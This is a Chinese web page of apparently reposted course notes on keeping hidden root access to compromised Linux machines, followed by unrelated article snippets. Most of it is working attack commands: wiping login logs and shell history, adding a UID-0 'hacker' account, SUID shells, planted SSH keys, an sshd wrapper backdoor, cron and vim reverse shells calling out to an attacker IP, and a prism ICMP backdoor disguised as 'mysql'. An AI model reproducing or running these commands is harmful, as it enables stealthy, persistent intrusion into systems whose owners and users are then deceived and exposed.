Linux权限维持

1.隐藏踪迹

创建隐藏文件(ls不可见,ls -la可见):

vim .shell.php

修改时间戳(文件时间):

touch -r 老文件 shell.elf

文件锁定(赋予特殊权限,不允许更改):

chattr +i shell.elf

无w、who、last等记录ssh:

ssh -T root@IP

清除last记录(登录信息):

echo '' > /var/log/wtmp

端口复用:

将来自IP访问80端口的流量转发到22端口

iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22

ssh连接80端口

ssh -p 80 root@IP

历史命令记录隐藏:

set +o history,停止记录

history,查看记录

history -d 序号,删除记录

2.添加root权限用户

直接添加

useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker

修改/etc/passwd

生成密码->放入passwd最后一行

[root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'
adrla7IBSfTZQ
[root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd

3.suid shell

让普通用户能用root

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

此时普通用户可以用root

[ly@localhost root]$ /tmp/shell -p
shell-4.2# whoami
root

4.ssh公私钥

生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)

ssh-keygen -t rsa

查看公钥

cat /root/.ssh/id_rsa.pub

在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务

mkdir /root/.ssh
vim /root/.ssh/authorized_keys
systemctl restart sshd.service

无需密码连接

ssh root@IP

5.ssh软连接

需要PAM认证,下面UsePAM为yes

vim /etc/ssh/sshd_config

防火墙开放端口->重启->查看是否开放

firewall-cmd --add-port=7777/tcp --permanent
firewall-cmd --reload
firewall-cmd --query-port=7777/tcp

建立软连接

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777

免密登录

ssh root@IP -p 7777

6.ssh wrapper

先开启ssh,将原本的sshd移位

systemctl start sshd.service
cd /usr/sbin/
mv sshd /

重写一个sshd,赋予权限

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

免密登录

socat STDIO TCP4:IP:22,sourceport=13377

7.计划任务

写一个反弹shell脚本并赋权

echo '#!/bin/bash' > /shell.sh
echo 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.sh
chmod +sx /etc/shell.sh

添加一分钟一次的root权限计划任务

echo '*/1 * * * * root /shell.sh' >> /etc/crontab
systemctl restart crond.service

8.启动项

添加后门路径并赋权

echo '/shell.elf' >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local

9.vim python后门

vim --version,看支不支持python3

反弹shell脚本,一个socket服务端,vim shell.py写入

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("IP", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

NC监听并在对方电脑执行(可能需要等一下)

vim -E -c "py3file shell.py"

10.icmp后门工具

https://github.com/andreafabrizi/prism

vim prism.c

填反弹IP、端口、时间、密码、进程名

# define REVERSE_HOST     "192.168.1.225"
# define REVERSE_PORT     19832
# define RESPAWN_DELAY    10
# define ICMP_KEY         "123456"
# define PROCESS_NAME     "mysql"

后台编译生成prism在对方电脑并运行

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
./prism

NC监听并在自己电脑执行

python2 ./sendPacket.py 对方IP 密码 自己IP 端口

11.Reptile工具

https://github.com/f0rb1dd3n/Reptile

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16941099.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/68141.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c#运算符重载

在C#中&#xff0c;您可以通过运算符重载来为自定义类型定义特定的操作行为。运算符重载允许您重新定义与特定运算符相关的操作&#xff0c;以便适应您自定义的类型。 以下是运算符重载的基本语法&#xff1a; public static <returnType> operator <operator> (…

模块化---common.js

入口文件&#xff1a;app.js // require是同步加载 // 客户端&#xff1a;common.js的模块化&#xff0c;需要browserify编译之后才能使用 // 服务端&#xff1a;运行时同步加载&#xff0c;无问题 let module1 require(./module1.js) let module2 require(./module2.js) co…

码云使用记录

码云使用记录 主要步骤 1、https://gitee.com 注册 2、下载Git 3、配置SSH 4、创建远程仓库 5、切到本地项目目录下将本地项目推到远程 前两步根据提示进行即可&#xff0c;下面从第三步开始讲解 3、配置SSH&#xff08;用于提交代码和更新代码&#xff09; https://gitee.…

CCF-CSP 25次 第三题【计算资源调度器】

计算机软件能力认证考试系统 这种题题面很长要迅速提取有效信息&#xff0c;可以根据后面的数据范围逐个的写&#xff0c;这样更容易理解题目&#xff0c;再就是选对数据结构很关键&#xff0c;再加上一点复杂的逻辑思维&#xff0c;基本可以满分 参考&#xff1a;AcWing 445…

机器人中的数值优化(七)——修正阻尼牛顿法

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考&#xff0c;主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等&#xff0c;本系列文章篇数较多&#xff0c;不定期更新&#xff0c;上半部分介绍无约束优化&#xff0c;…

CCKS2023:基于企业数仓和大语言模型构建面向场景的智能应用

8月24日-27日&#xff0c;第十七届全国知识图谱与语义计算大会&#xff08;CCKS 2023&#xff09;在沈阳召开。大会以“知识图谱赋能通用AI”为主题&#xff0c;探讨知识图谱对通用AI技术的支撑能力&#xff0c;探索知识图谱在跨平台、跨领域等AI任务中的作用和应用途径。 作为…

nc前端合计行

nc前端合计行 1.无表体和单表体的合计行加法 只要卡片下 如果是只有表头要合计行就只留ShowTotalLine&#xff1b;如果是只有表体要合计行就只留ShowTotalLineTabcodes 2.多表体的合计行加法 表头卡片下和列表下都要 3.档案的合计行加法 重写一下列表模板

Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

全文链接&#xff1a;https://tecdat.cn/?p33550 时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的&#xff0c;具有特定频率&#xff0c;也可以是不规则间隔的&#xff0c;比如电话通话记录&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。…

史上最全的计算机发展编年史!!!

今天分享给大家&#xff0c;以供参考。 1614年 苏格兰人约翰纳皮尔&#xff08;John Napier&#xff09;发表了一篇论文&#xff0c;其中提到他发明了一种可以计算四则运算和方根运算的精巧装置。 1623年 威廉契克卡德&#xff08;Wilhelm Schickard&#xff09;制作了一个通过…

Swift 周报 第三十六期

文章目录 前言新闻和社区消息称苹果公司和印度财政部官员磋商&#xff0c;扩大在印度的制造产能iPhone 15 Pro 机型新增泰坦灰iPhone 15 全系配 USB-C 苹果拒绝接口和安卓互通 提案正在审查的提案 Swift论坛推荐博文话题讨论关于我们 前言 本期是 Swift 编辑组整理周报的第三十…

mysql-1:认识mysql

文章目录 数据库概述什么是数据库什么是关系型数据库 MySQL的概述MySQL是什么MySQL发展历程 SQL的概述什么是SQLSQL发展的简要历史&#xff1a;SQL语言分类 数据库概述 什么是数据库 数据库就是[存储数据的仓库]&#xff0c;其本质是一个[文件系统]&#xff0c;数据按照特定的…

生成式人工智能能否使数字孪生在能源和公用事业行业成为现实?

推荐&#xff1a;使用 NSDT场景编辑器 快速搭建3D应用场景 克服障碍&#xff0c;优化数字孪生优势 要实现数字孪生的优势&#xff0c;您需要数据和逻辑集成层以及基于角色的演示。如图 1 所示&#xff0c;在任何资产密集型行业&#xff08;如能源和公用事业&#xff09;中&…

【数据挖掘】学习笔记

文章目录 < 数据预处理 > 聚集&#xff1a;多个样本或特征进行合并&#xff08;减少样本规模、转换标度、更稳定&#xff09;抽样&#xff1a;抽取一部分样本降维&#xff1a;在地位空间中表示样本&#xff08;PCA、SVD&#xff09;特征选择&#xff1a;选取重要特征&am…

【Java】设计模式之单例模式与工厂模式

1、设计模式概念及分类 简单来说设计模式是被广大程序员们总结并认可的编码套路&#xff0c;其中最常用的莫过于单例模式与工厂模式&#xff0c;而单例模式也有更加细的分类&#xff0c;一起来学习一下这些模式的用法和特点吧。 2、单例模式 一个类只能被实例化出来一个对象…

海外问卷调查项目能做吗?

大家好&#xff0c;我是橙河。我做海外问卷调查项目已经2年了&#xff0c;有自己的公司和团队&#xff0c;这篇文章说一说&#xff0c;海外问卷调查项目能做吗&#xff1f; 海外问卷调查是一个比较老牌的互联网项目&#xff0c;在国内已经存在十几年的时间了&#xff0c;一直都…

cocosCreator2.4.x 打包 ios ,xcode问题记录

Q&#xff1a;Uncaught ReferenceError: CC_PHYSICS_BUILTIN is not defined A&#xff1a;先clean build folder....&#xff0c;然后重新build Q&#xff1a;xcode 使用模拟器预览 报错 In /Library/Developer/Xcode/DerivedData/hello_world-djnvsdcqyfoqvdepilidvunfunto…

vue2 封装通用表格数据筛选的重置摁钮

放弃冗余代码吧&#xff0c;封装个混入 封装逻辑 // 重置表格筛选参数 export const queryReset {methods: {queryReset(form, method "getData", fn) {if (!this[form]) {form "queryForm";}this.$data[form] this.$options.data()[form];this[form…

UG NX二次开发(C#)-创建点到曲线(边)的切线

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 1、前言2、采用C#封装C++方法2.1 加入引用2.2 创建封装类2.3 在代码中调用封装的函数3、采用NXOpen.net实现3.1对于边3.2 测试效果3.3 单个样条曲线3.4 测试效果1、前言 在UG NX二次开发时,对于求…

maven基础学习

什么是maven 构建 依赖 maven核心概念坐标 在黑窗口使用maven命令生成maven工程 pom.xml 想导入哪个jar包把它的坐标放到dependency里就可以 maven核心概念POM maven核心概念约定的目录结构 执行maven的构建命令 清理操作&#xff0c;clean 编译操作 compile 测试操作 test 打包…

使用 Crontab 自动化任务调度

在计算机工作中&#xff0c;我们经常需要自动执行某些任务。Crontab 是一个在 Linux 和类 Unix 系统上广泛使用的工具&#xff0c;它允许用户按照预定的时间表触发指定的命令和脚本。无论是备份数据、生成报告还是定期清理临时文件&#xff0c;Crontab 都可以帮助我们自动化这些…